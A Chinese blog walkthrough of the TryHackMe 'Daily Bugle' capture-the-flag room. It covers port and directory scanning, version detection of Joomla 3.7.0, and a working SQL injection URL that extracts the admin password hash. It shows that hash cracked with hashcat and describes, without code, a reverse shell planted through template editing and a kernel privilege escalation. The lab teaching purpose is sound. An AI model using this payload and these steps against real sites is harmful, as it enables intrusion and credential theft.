首页 > 其他分享 >tryhackme-Daily Bugle

tryhackme-Daily Bugle

时间:2023-02-20 10:24:48浏览次数:59  
标签:Bugle en language Daily 3.7 GB txt com tryhackme

靶场链接:https://tryhackme.com/room/dailybugle

枚举端口

nmap -sV -p- -vv ip

image

直接访问网址,就可以知道第一题是什么了
image

通过dirsearch搜索,可以看到README.txt,得知是Joomla cms 3.7,第一次看到过该框架。
image

该框架有很多版本。目前已知3.7,但不知道3.7.x。可以使用msf的exploit模块查看版本auxiliary/scanner/http/joomla_version
image

所以第二题的问题就出来了
看了一下msf该模块的代码,原理就是访问以下路径,看版本

administrator/manifests/files/joomla.xml
language/en-GB/en-GB.xml
templates/system/css/system.css
media/system/js/mootools-more.js
language/en-GB/en-GB.ini
htaccess.txt
language/en-GB/en-GB.com_media.ini

image

接着使用搜索漏洞

searchsploit Joomla 3.7.0

image

查看后发现是sql注入
image

但由于在国内,使用sqlmap太卡了,于是手工注入。
子查询结果不能多行,不能出现单引号。
最后一想,看一下开源源码,发现直接去#__users表查password就可以了
image

http://10.10.228.39/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT+6600+FROM(SELECT+COUNT(*),CONCAT(0x7e,(select+password+from+%23__users+limit+0,1),0x7e,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)

image

看着像hash,于是识别一下,由于在分析源码时,看到了bcrpt,所以就可以用hashcat跑了

hashid '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm'

image

hashcat -m 3200 -a 0 --force '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' /usr/share/wordlists/rockyou.txt

跑了9分钟,得到明文spiderman123,第三个答案也有了
image

用户名也可以通过sql注入暴出来
jonah
image

然后登录后台,在templates功能处,发现可以直接编辑php文件,于是上传反弹shell
image

再访问
image

得到webshell
image

运行linepeas.sh一看,可以发现内核很老了,用脏牛或2021-4043都能一下提权到root。然后user.txt和root.txt就获取了

标签:Bugle,en,language,Daily,3.7,GB,txt,com,tryhackme
From: https://www.cnblogs.com/jarwu/p/17136425.html

相关文章

  • tryhackme-wreath
    10.200.87.200->10.200.87.150->10.200.87.100通过扫描10.200.87.200发现其10000端口上开放了webmin服务查询历史漏洞发现了一个远程命令执行漏洞CVE-2019-15107gi......
  • 【THM】Daily Bugle-练习
    本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/dailybugle通过学习相关知识点:通过SQLi渗透JoomlaCMS帐户,练习哈希破解操作并利用yum进行提权。部署......
  • DAILY STUDY 16
    指针数组的标准规定:允许只想数组元素的指针与指向数组最后一个元素后面的那个内存位置的指针比较,但不允许与指向第一个元素之前的那个内存位置的指针进行比较数组名是数组首......
  • daily study 15
    初识指针2;野指针:指针指向的位置是不可知的1.int*p;*P=20;指针未初始化;2.intarr[10]={0};int*p=arr;inti=0;for(i=0;i<=10;i++){*p=i;p++;}越界访问;3.指针指向了空间释放in......
  • daily study 14
    初识指针;指针是什么?在计算机科学中,指针(Pointer)是编程语言中的一个对象,利用地址,它的值直接指向(pointsto)存在电脑存储器中另一个地方的值。由于通过地址能找到所需......
  • daily study 13
    4.赋值操作符=,+=,-=,*=....复合赋值,一个=为赋值,==为判断支持连续赋值,从右赋到左5.单目操作符!,-,+,&,sizeof,~(对一个数的二进制位按位取反),--,++,*(间接访问操作符)sizeof(a),计算a所占字......
  • daily study 12
    学习c语言的操作符的知识与使用分类:1.算数操作符+,-,*,/,%2.移位操作符<<,移动二进制位。溢出的丢弃,缺少的补上>>(1)算术右移右边丢弃,左边补原位(2)逻辑右移右边丢弃左边补03.位操作......
  • daily study 10
    制作一个扫雷程序分装函数在不同的项目中,是主程序简洁用dowhile函数实现反复游玩用二维数组布置雷和存放雷用两个数组,一个存放布置好雷的信息,一个数组存放排查出的雷的信息......
  • daily study 9
    学习使用C语言编写井字棋游戏程序(2)用赋值的方法,将玩家输入的字符赋给数组中的元素,电脑使用横坐标=时间随机值%行数,纵坐标同理,使得电脑进行随机下棋。每次下完一轮就将棋盘(数......
  • daily study 8
    学习写一个用C语言代码实现的三子棋游戏(1)首先使用dowhile循环来实现多次游玩。新建头文件和游戏本体项目,分开编写,让主程序代码简洁使用函数打印菜单,使得玩家输入1进行游玩,......